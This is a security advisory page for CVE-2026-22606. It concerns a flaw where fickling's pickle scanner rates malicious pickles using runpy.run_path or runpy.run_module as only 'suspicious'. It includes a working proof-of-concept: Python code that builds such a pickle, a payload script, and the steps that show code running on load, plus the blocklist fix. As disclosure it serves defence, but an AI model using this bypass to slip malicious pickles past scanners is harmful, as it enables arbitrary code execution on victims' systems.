CVE-2026-22606 — fickling
Fix: trailofbits/fickling@9a2b3f8CVE-2026-22606 is a CWE-184 vulnerability in fickling. A fix is available for fickling — see the affected versions and patch details below.
Fickling has a bypass via runpy.run_path() and runpy.run_module()
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-22606.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
ficklingReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Fickling's assessment
runpy was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/9a2b3f89bd0598b528d62c10a64c1986fcb09f66).
Original report
Summary
Fickling versions up to and including 0.1.6 do not treat Python’s runpy module as unsafe. Because of this, a malicious pickle that uses runpy.run_path() or runpy.run_module() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.
If a user relies on Fickling’s output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.
This affects any workflow or product that uses Fickling as a security gate for pickle deserialization.
Details
The runpy module is missing from fickling's block list of unsafe module imports in fickling/analysis.py. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).
Incriminated source code:
- File:
fickling/analysis.py - Class:
UnsafeImports - Issue: The blocklist does not include
runpy,runpy.run_path,runpy.run_module, orrunpy._run_code
Reference to similar fix:
- PR #187 added
ptyto the blocklist to fix CVE-2025-67748 - PR #108 documented the blocklist approach
- The same fix pattern should be applied for
runpy
How the bypass works:
- Attacker creates a pickle using
runpy.run_path()in__reduce__ - Fickling's
UnsafeImportsanalysis does not flagrunpyas dangerous - Only the
UnusedVariablesheuristic triggers, resulting inSUSPICIOUSseverity - The pickle should be rated
OVERTLY_MALICIOUSlikeos.system,eval, andexec
Tested behavior (fickling 0.1.6):
| Function | Fickling Severity | RCE Capable |
|---|---|---|
| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |
| eval | OVERTLY_MALICIOUS | Yes |
| exec | OVERTLY_MALICIOUS | Yes |
| runpy.run_path | SUSPICIOUS | Yes ← BYPASS |
| runpy.run_module | SUSPICIOUS | Yes ← BYPASS |
Suggested fix:
Add to the unsafe imports blocklist in fickling/analysis.py:
- runpy
- runpy.run_path
- runpy.run_module
- runpy._run_code
- runpy._run_module_code
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.Environment:
- Python 3.13.2
- fickling 0.1.6 (latest version, installed via pip)
Step 1: Create malicious pickle
import pickle import runpy
class MaliciousPayload: def reduce(self): return (runpy.run_path, ("/tmp/malicious_script.py",))
with open("malicious.pkl", "wb") as f: pickle.dump(MaliciousPayload(), f)
Step 2: Create the malicious script that will be executed
echo 'print("RCE ACHIEVED"); open("/tmp/pwned","w").write("compromised")' > /tmp/malicious_script.py
Step 3: Analyze with fickling
fickling --check-safety malicious.pkl
Expected output (if properly detected): Severity: OVERTLY_MALICIOUS
Actual output (bypass confirmed):
{
"severity": "SUSPICIOUS",
"analysis": "Variable _var0 is assigned value run_path(...) but unused afterward; this is suspicious and indicative of a malicious pickle file",
"detailed_results": {
"AnalysisResult": {
"UnusedVariables": ["_var0", "run_path(...)"]
}
}
}
Step 4: Prove RCE by loading the pickle
import pickle pickle.load(open("malicious.pkl", "rb"))
Check: ls /tmp/pwned <-- file exists, proving code execution
Pickle disassembly (evidence):
0: \x80 PROTO 4
2: \x95 FRAME 92
11: \x8c SHORT_BINUNICODE 'runpy' 18: \x94 MEMOIZE (as 0) 19: \x8c SHORT_BINUNICODE 'run_path' 29: \x94 MEMOIZE (as 1) 30: \x93 STACK_GLOBAL 31: \x94 MEMOIZE (as 2) 32: \x8c SHORT_BINUNICODE '/tmp/malicious_script.py' ... 100: R REDUCE 101: \x94 MEMOIZE (as 5) 102: . STOP
Impact
Vulnerability Type: Incomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).
Who is impacted: Any user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:
Attack scenario: An attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as "SUSPICIOUS" (not "OVERTLY_MALICIOUS"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.
Severity: HIGH
- The attacker achieves arbitrary code execution
- The security control (fickling) is specifically designed to prevent this
- The bypass requires no special conditions beyond crafting the pickle with
runpy
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.7pip install --upgrade 'fickling==0.1.7' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update fickling to 0.1.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-22606 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2026-22606 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2026-22606. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2026-22606 in your dependencies?
O3 Security finds CVE-2026-22606 across PyPI dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.